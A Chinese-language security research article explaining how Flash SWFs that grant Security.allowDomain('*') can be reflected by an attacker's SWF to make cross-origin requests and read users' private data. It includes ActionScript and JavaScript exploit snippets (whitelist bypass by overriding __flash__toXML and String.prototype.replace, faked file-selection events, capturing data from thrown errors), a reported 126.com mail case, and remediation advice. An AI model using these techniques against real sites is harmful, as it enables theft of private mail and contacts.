隱私泄露殺手鐧 —— Flash 權限反射

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前言

一直以為該風險早已被重視，但最近無意中發現，仍有不少網站存在該缺陷，其中不乏一些常用的郵箱、社交網站，於是有必要再探討一遍。

事實上，這本不是什么漏洞，是 Flash 與生俱來的一個正常功能。但由於一些 Web 開發人員了解不夠深入，忽視了該特性，從而埋下安全隱患。

原理

這一切還得從經典的授權操作說起：

Security.allowDomain('*')

對於這行代碼，或許都不陌生。盡管知道使用 * 是有一定風險的，但想想自己的 Flash 里並沒有什么高危操作，把我拿去又能怎樣？

因此，一些開發人員以為只要不與 JS 通信，就高枕無憂了。同時為了圖方便，直接給 swf 授權了 *，省去一大堆信任列表。

事實上，Flash 被網頁嵌套僅僅是其中一種而已，更普遍的，則是 swf 之間的嵌套。然而無論何種方式，都是通過 Security.allowDomain 進行授權的 —— 這意味着，一個 * 不僅允許被第三方網頁調用，同時還包括了其他任意 swf！

被網頁嵌套，或許難以找到利用價值。但被自己的同類嵌套，可用之處就大幅增加了。因為它們都是 Flash，位於同一個運行時里，相互之間存在着密切的關聯。

我們如何將這種關聯，進行充分利用呢？

利用

關聯容器

在 Flash 里，舞台（stage）是這個世界的根基。無論加載多少個 swf，舞台始終只有一個。任何元素（DisplayObject）必須添加到舞台、或其子容器下，才能展示和交互。

因此，不同 swf 創建的元素，都是通過同一個舞台展示的。它們能感知相互的存在，只是受到同源策略的限制，未必能相互操作。

然而，一旦某個 swf 主動開放權限，那么它的元素就不再受到保護，能被任意 swf 訪問了！

聽起來似乎不是很嚴重。我創建的界面元素，又有何訪問價值？也就獲取一些坐標、顏色等信息而已。

偷窺元素的自身屬性，或許並沒什么意義。但並非所有的元素，都是為了純粹展示的 —— 有時為了擴展功能，在 DisplayObject 之上實現額外的功能。

最典型的，就是每個 swf 的主類 —— 它們都繼承於 Sprite，即使程序里沒用到任何界面相關的。

有這樣擴展元素存在，我們就可以訪問那些額外的功能了。

開始我們的第一個案例。某個 swf 的主類在 Sprite 的基礎上，擴展了網絡加載的功能：

// vul.swf
public class Vul extends Sprite {

    public var urlLoader:URLLoader = new URLLoader();
    
    public function download(url:String) : void {
        urlLoader.load(new URLRequest(url));
        ...
    }

    public function Vul() {
        Security.allowDomain('*');
        ...
    }
    ...
}

通過第三方 swf，我們將其加載進來。由於 Vul 繼承了 Sprite，因此擁有了元素的基因，我們可以從容器中找到它。

同時它也是主類，默認會被添加到 Loader 這個加載容器里。

// exp.swf
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
    var main:* = loader.getChildAt(0);

    trace(main);    // [object Vul]
});
loader.load(new URLRequest('//swf-site/vul.swf'));

因為 Loader 是子 swf 的默認容器，所以其中第一個元素顯然就是子 swf 的主類：Vul。

由於 Vul 定義了一個叫 download 的公開方法，並且授權了所有的域名，因此在第三方 exp.swf 里，自然也能調用它：

main.download('//swf-site/data');

同時 Vul 中的 urlLoader 也是一個公開暴露的成員變量，同樣可被外部訪問到，並對其添加數據接收事件：

var ld:URLLoader = main.urlLoader;
ld.addEventListener('complete', function(e:Event) : void {
    trace(ld.data);
});

盡管這個 download 方法是由第三方 exp.swf 發起的，但最終執行 URLLoader 的 load 方法時，上下文位於 vul.swf 里，因此這個請求仍屬於 swf-site 的源。

於是攻擊者從任意位置，跨站訪問 swf-site 下的數據了。

更糟的是，Flash 的跨源請求可通過 crossdomain.xml 來授權。如果某個站點允許 swf-site，那么它也成了受害者。

如果用戶正處於登錄狀態，攻擊者悄悄訪問帶有個人信息的頁面，用戶的隱私數據可能就被泄露了。攻擊者甚至還可模擬用戶請求，將惡意鏈接發送給其他好友，導致蠕蟲傳播。

ActionScript 雖然是強類型的，但只是開發時的約束，在運行時仍和 JavaScript 一樣，可動態訪問屬性。

類反射

通過容器這個橋梁，我們可訪問到子 swf 中的對象。但前提條件仍過於理想，現實中能利用的並不多。

如果目標對象不是一個元素，也沒有和公開的對象相關聯，甚至根本就沒有被實例化，那是否就無法獲取到了？

做過頁游開發的都試過，將一些后期使用的素材打包在獨立的 swf 里，需要時再加載回來從中提取。目標 swf 僅僅是一個資源包，其中沒有任何腳本，那是如何參數提取的？

事實上，整個過程無需子 swf 參與。所謂的『提取』，其實就是 Flash 中的反射機制。通過反射，我們即可隔空取物，直接從目標 swf 中取出我們想要的類。

因此我們只需從目標 swf 里，找到一個使用了網絡接口類，即可嘗試為我們效力了。

開始我們的第二個案例。這是某電商網站 CDN 上的一個廣告活動 swf，反編譯后發現，其中一個類里封裝了簡單的網絡操作：

// vul.swf
public class Tool {
    public function getUrlData(url:String, cb:Function) : void {
        var ld:URLLoader = new URLLoader();
        ld.load(new URLRequest(url));
        ld.addEventListener('complete', function(e:Event) : void {
            cb(ld.data);
        });
        ...
    }
    ...

在正常情況下，需一定的交互才會創建這個類。但反射，可以讓我們避開這些條件，提取出來直接使用：

// exp.swf
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
    var cls:* = loader.contentLoaderInfo.applicationDomain.getDefinition('Tool');
    var obj:* = new cls;

    obj.getUrlData('http://victim-site/user-info', function(d:*) : void {
        trace(d);
    });
});
loader.load(new URLRequest('//swf-site/vul.swf'));

由於 victim-site/crossdomain.xml 允許 swf-site 訪問，於是 vul.swf 在不經意間，就充當了隱私泄露的傀儡。

攻擊者擁有了 victim-site 的訪問權，即可跨站讀取頁面數據，訪問用戶的個人信息了。

由於大多 Web 開發者對 Flash 的安全仍局限於 XSS 之上，從而忽視了這類風險。即使在如今，網絡上仍存在大量可被利用的缺陷 swf 文件，甚至不乏一些大網站也紛紛中招。

當然，即使有反射這樣強大的武器，也並非所有的 swf 都是可以利用的。顯然，要符合以下幾點才可以：

• 執行 Security.allowDomain(可控站點)

• 能控制觸發 URLLoader/URLStream 的 load 方法，並且 url 參數能自定義

• 返回的數據可被獲取

第一條：這就不用說了，反射的前提也是需要對方授權的。

第二條：理想情況下，可直接調用反射類中提供的加載方法。但現實中未必都是 public 的，這時就無法直接調用了。只能分析代碼邏輯，看能不能通過公開的方法，構造條件使得流程走到請求發送的那一步。同時 url 參數也必須可控，否則也就沒意義了。

第三條：如果只能將請求發送出去，卻不能拿到返回的內容，同樣也是沒有意義的。

也許你會說，為什么不直接反射出目標 swf 中的 URLLoader 類，那不就可以直接使用了嗎。然而事實上，光有類是沒用的，Flash 並不關心這個類來自哪個 swf，而是看執行 URLLoader::load 時，當前位於哪個 swf。如果在自己的 swf 里調用 load，那么請求仍屬於自己的源。

同時，AS3 里已沒有 eval 函數了。唯一能讓數據變指令的，就是 Loader::loadBytes，但這個方法也有類似的判斷。

因此我們還是得通過目標 swf 里的已有的功能，進行利用。

案例

這里分享一個現實中的案例，之前已上報並修復了的。

這是 126.com 下的一個 swf，位於 http://mail.126.com/js6/h/flashRequest.swf。

反編譯后可發現，主類初始化時就開啟了 * 的授權，因此整個 swf 中的類即可隨意使用了！

同時，其中一個叫 FlashRequest 的類，封裝了常用的網絡操作，並且關鍵方法都是 public 的：

我們將其反射出來，根據其規范調用，即可發起跨源請求了！

由於網易不少站點的 crossdomain.xml 都授權了 126.com，因此可暗中查看已登錄用戶的 163/126 郵件了：

甚至還可以讀取用戶的通信錄，將惡意鏈接傳播給更多的用戶！

進階

借助爬蟲和工具，我們可以找出不少可輕易利用的 swf 文件。不過本着研究的目的，我們繼續探討一些需仔細分析才能利用的案例。

進階 No.1 —— 繞過路徑檢測

當然也不是所有的開發人員，都是毫不思索的使用 Security.allowDomain('*') 的。

一些有安全意識的，即使用它也會考慮下當前環境是否正常。例如某個郵箱的 swf 初始化流程：

// vul-1.swf
public function Main() {
    var host:String = ExternalInterface.call('function(){return window.location.host}');

    if host not match white-list
        return

    Security.allowDomain('*');
    ...

它會在授權之前，對嵌套的頁面進行判斷：如果不在白名單列表里，那就直接退出。

由於白名單的匹配邏輯很簡單，也找不出什么瑕疵，於是只能將目光轉移到 ExternalInterface 上。為什么要使用 JS 來獲取路徑？

因為 Flash 只提供當前 swf 的路徑，並不知道自己是被誰嵌套的，於是只能用這種曲線救國的辦法了。

不過上了 JS 的賊船，自然就躲不過厄運了。有數不清的前端黑魔法正等着躍躍欲試。Flash 要和各種千奇百怪的瀏覽器通信，顯然需要一套消息協議，以及一個 JS 版的中間橋梁，用以支撐。了解 Flash XSS 的應該都不陌生。

在這個橋梁里，其中有一個叫 __flash__toXML 的函數，負責將 JS 執行后的結果，封裝成消息協議返回給 Flash。如果能搞定它，那一切就好辦了。

顯然這個函數默認是不存在的，是載入了 Flash 之后才注冊進來的。既然是一個全局函數，頁面中的 JS 也能重定義它：

// exp-1.js
function handler(str) {
    console.log(str);
    return '<string>hi,jack</string>';
}
setInterval(function() {
    var rawFn = window.__flash__toXML;
    if (rawFn && rawFn != handler) {
        window.__flash__toXML = handler;
    }
}, 1);

通過定時器不斷監控，一旦出現就將其重定義。於是用 ExternalInterface.call 無論執行什么代碼，都可以隨意返回內容了！

為了消除定時器的延遲誤差，我們先在自己的 swf 里，隨便調用下 ExternalInterface.call 進行預熱，讓 __flash__toXML 提前注入。之后子 swf 使用時，已經是被覆蓋的版本了。

---

當然，即使不使用覆蓋的方式，我們仍可以控制 __flash__toXML 的返回結果。

仔細分析下這個函數，其中調用了 __flash__escapeXML：

function __flash__toXML(value) {
    var type = typeof(value);
    if (type == "string") {
        return "<string>" + __flash__escapeXML(value) + "</string>";
    ...
}

function __flash__escapeXML(s) {
    return s.replace(/&/g, "&amp;").replace(/</g, "&lt;") ... ;
}

里面有一大堆的實體轉義，但又如何進行利用？

因為它是調用 replace 進行替換的，然而在萬惡的 JS 里，常用的方法都是可被改寫的！我們可以讓它返回任何想要的值：

// exp-1.js
String.prototype.replace = function() {
    return 'www.test.com';
};

甚至還可以針對 __flash__escapeXML 的調用，返回特定值：

String.prototype.replace = function F() {
    if (F.caller == __flash__escapeXML) {
        return 'www.test.com';
    }
    ...
};

於是 ExternalInterface.call 的問題就這樣解決了。人為返回一個白名單里的域名，即可繞過初始化中的檢測，從而順利執行 Security.allowDomain(*)。

所以，絕不能相信 JS 返回的內容。連標點符號都不能信！

---

進階 No.2 —— 構造請求條件

下面這個案例，是某社交網站的頭像上傳 Flash。

不像之前那些，都可順利找到公開的網絡接口。這個案例十分苛刻，搜索整個項目，只出現一處 URLLoader，而且還是在 private 方法里。

// vul-2.swf
public class Uploader {

    public function Uploader(file:FileReference) {
        ...
        file.addEventListener(Event.SELECT, handler);
    }
    
    private function handler(e:Event) : void {
        var file:FileReference = e.target as FileReference;
        
        // check filename and data
        file.name ...
        file.data ...

        // upload(...)
    }

    private function upload(...) : void {
        var ld:URLLoader = new URLLoader();
        var req:URLRequest = new URLRequest();
        req.method = 'POST';
        req.data = ...;
        req.url = Param.service_url + '?xxx=' ....
        ld.load(req);
    }
}

然而即使要觸發這個方法也非常困難。因為這是一個上傳控件，只有當用戶選擇了文件對話框里的圖片，並通過參數檢驗，才能走到最終的上傳位置。

唯一可被反射調用的，就是 Uploader 類自身的構造器。同時控制傳入的 FileReference 對象，來構造條件。

// exp-2.swf
var file:FileReference = new FileReference();

var cls:* = ...getDefinition('Uploader');
var obj:* = new cls(file);

然而 FileReference 不同於一般的對象，它會調出界面。如果中途彈出文件對話框，並讓用戶選擇，那絕對是不現實的。

不過，彈框和回調只是一個因果關系而已。彈框會產生回調，但回調未必只有彈框才能產生。因為 FileReference 繼承了 EventDispatcher，所以我們可以人為的制造一個事件：

file.dispatchEvent(new Event(Event.SELECT));

這樣，就進入文件選中后的回調函數里了。

由於這一步會校驗文件名、內容等屬性，因此還得事先給這些屬性賦值。然而遺憾的是，這些屬性都是只讀的，根本無法設置。

等等，為什么會有只讀的屬性？屬性不就是一個成員變量嗎，怎么做到只能讀不可寫？除非是 const，但那是常量，並非只讀屬性。

原來，所謂的只讀，就是只提供了 getter、但沒有 setter 的屬性。這樣就保證了屬性內部可變，但外部不可寫的特征。

如果我們能 hook 這個 getter，那就能返回任意值了。然而 AS 里的類默認都是密閉的，不像 JS 那樣靈活，可隨意篡改原型鏈。

事實上在高級語言里，有着更為優雅的 hook 方式，我們稱作『重寫』。我們創建一個繼承 FileReference 的類，即可重寫那些 getter 了：

// exp-2.swf
class FileReferenceEx extends FileReference {

    override public function get name() : String {
        return 'hello.gif';
    }
    override public function get data() : ByteArray {
        var bytes:ByteArray = new ByteArray();
        ...
        return bytes;
    }
}

根據著名的『里氏替換原則』，任何基類可以出現的地方，子類也一定可以出現。所以傳入這個 FileReferenceEx 也是可接受的，之后一旦訪問 name 等屬性時，自然就落到我們的 getter 上了。

// exp-2.swf
var file:FileReference = new FileReferenceEx();  // !!!
...
var obj:* = new cls(file);

到此，我們成功模擬了文件選擇的整個流程。

接着就到關鍵的上傳位置了。慶幸的是，它沒寫死上傳地址，而是從環境變量（loaderInfo.parameters）里讀取。

說到環境變量，大家首先想到網頁中 Flash 元素的 flashvars 屬性，但其實還有兩個地方可以傳入：

• swf url query（例如 .swf?a=1&b=2）

• LoaderContext

由於 url query 是固定的，后期無法修改，所以選擇 LoaderContext 來傳遞：

// exp-2.swf
var loader:Loader = new Loader();
var ctx:LoaderContext = new LoaderContext();
ctx.parameters = {
    'service_url': 'http://victim-site/user-data#'
};
loader.load(new URLRequest('http://cross-site/vul-2.swf'), ctx);

因為 LoaderContext 里的 parameters 是運行時共享的，這樣就能隨時更改環境變量了：

// next request
ctx.parameters.service_url = 'http://victim-site/user-data-2#';

同時為了不讓多余的參數發送上去，還可以在 URL 末尾放置一個 #，讓后面多余的部分變成 Hash，就不會走流量了。

盡管這是個很苛刻的案例，但仔細分析還是找出解決辦法的。

當然，我們目的並不是為了結果，而是其中分析的樂趣：）

---

進階 No.3 —— 捕獲返回數據

當然，光把請求發送出去還是不夠的，如果無法拿到返回的結果，那還是白忙活。

最理想的情況，就是能傳入回調接口，這樣就可直接獲得數據了。但現實未必都是這般美好，有時我們得自己想辦法取出數據。

一些簡單的 swf 通常不會封裝一個的網絡請求類，每次使用時都直接寫原生的代碼。這樣，可控的因子就少很多，利用難度就會大幅提升。

例如這樣的場景，盡管能控制請求地址，但由於沒法拿到 URLLoader，也就無從獲取返回數據了：

public function download(url:String) : void {
    var ld:URLLoader = new URLLoader();
    ld.load(new URLRequest(url));
    ld.addEventListener('complete', function(e:Event) : void {
        // do nothing
    });
}

但通常不至於啥也不做，多少都會處理下返回結果。這時就得尋找機會了。

一旦將數據賦值到公開的成員變量里，那么我們就可通過輪詢的方式來獲取了：

public var data:*;
...
ld.addEventListener('complete', function(e:Event) : void {
    data = e.data;
});

或者，將數據存放到了某個元素里，用於顯示：

private var textbox:TextField = new TextField();
...
addChild(textbox);
...
ld.addEventListener('complete', function(e:Event) : void {
    textbox.text = e.data;
});

同樣可以利用文章開頭提到的方法，從父容器里找出相應的元素，定時輪詢其中的內容。

不過這些都算容易解決的。在一些場合，返回的數據根本不符合預期的格式，因此就無法處理直接報錯了。

---

下面是個非常普遍的案例。在接收事件里，將數據進行固定格式的解碼：

// vul-3.swf
import com.adobe.serialization.json.JSON;

ld.addEventListener('complete', function(e:Event) : void {
    var data:* = JSON.decode(e.data);
    ...
});

因為開發人員已經約定使用 JSON 作為返回格式，所以壓根就沒容錯判斷，直接將數據進行解碼。

然而我們想要跨站讀取的文件，未必都是 JSON 格式的。HTML、XML 甚至 JSONP，都被拍死在這里了。

難道就此放棄？都報錯無法往下走了，那還能怎么辦。唯一可行的，就是將錯就錯，往『錯誤』的方向走。

一個強大的運行時系統，都會提供一些接口，供開發者捕獲全局異常。HTML 里有，Flash 里當然也有，甚至還要強大的多 —— 不僅能夠獲得錯誤相關的信息，甚至還能拿到 throw 出來的那個 Error 對象！

一般通用的類庫，往往會有健全的參數檢驗。當遇到不合法的參數時，通常會將參數連同錯誤信息，作為異常拋出來。如果某個異常對象里，正好包含了我們想要的敏感數據的話，那就非常美妙了。

就以 JSON 解碼為例，我們寫個 Demo 驗證一下：

var s:String = '<html>\n<div>\n123\n</div>\n</html>';
JSON.decode(s);

我們嘗試將 HTML 字符傳入 JSON 解碼器，最終被斷在了類庫拋出的異常處：

異常中的前兩個參數，看起來沒多大意義。但第三個參數，里面究竟藏着是什么？

不用猜想，這正是我們想要的東西 —— 傳入解碼器的整個字符參數！

如此，我們就可在全局異常捕獲中，拿到完整的返回數據了：

loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function(e:UncaughtErrorEvent) : void {
    trace(e.error.text);
});

驚呆了吧！只要仔細探索，一些看似不可能實現的，其實也能找到解決方案。

補救

如果從代碼層面來修補，短時間內也難以完成。

大型網站長期以來，積累了相當數量的 swf 文件。有時為了解決版本沖突，甚至在文件名里使用了時間、摘要等隨機數，這類的 swf 當時的源碼，或許早已不再維護了。

因此，還是得從網站自身來強化。crossdomain.xml 中不再使用的域名就該盡早移除，需要則盡可能縮小子域范圍。畢竟，只要出現一個帶缺陷的 swf 文件，整個站點的安全性就被拉低了。

事實上，即使通過反射目標 swf 實現的跨站請求，referer 仍為攻擊者的頁面。因此，涉及到敏感數據讀取的操作，驗證一下來源還是很有必要的。

作為用戶來說，禁用第三方 cookie 實在太有必要了。如今 Safari 已默認禁用，而 Chrome 則仍需手動添加。

總結

最后總結下，本文提到的 3 類權限：

• 代碼層面（public / private / ...)

• 模塊層面（Security.allowDomain）

• 站點層面（crossdomain.xml）

只要這幾點都滿足，就很有可能被用於跨源的請求。

也許會覺得 Flash 里坑太多了，根本防不勝防。但事實上這些特征早已存在，只是未被開發者重視而已。以至於各大網站如今仍普遍躺槍。

當然，信息泄露對每個用戶都是受害者。希望能讓更多的開發者看到，及時修復安全隱患。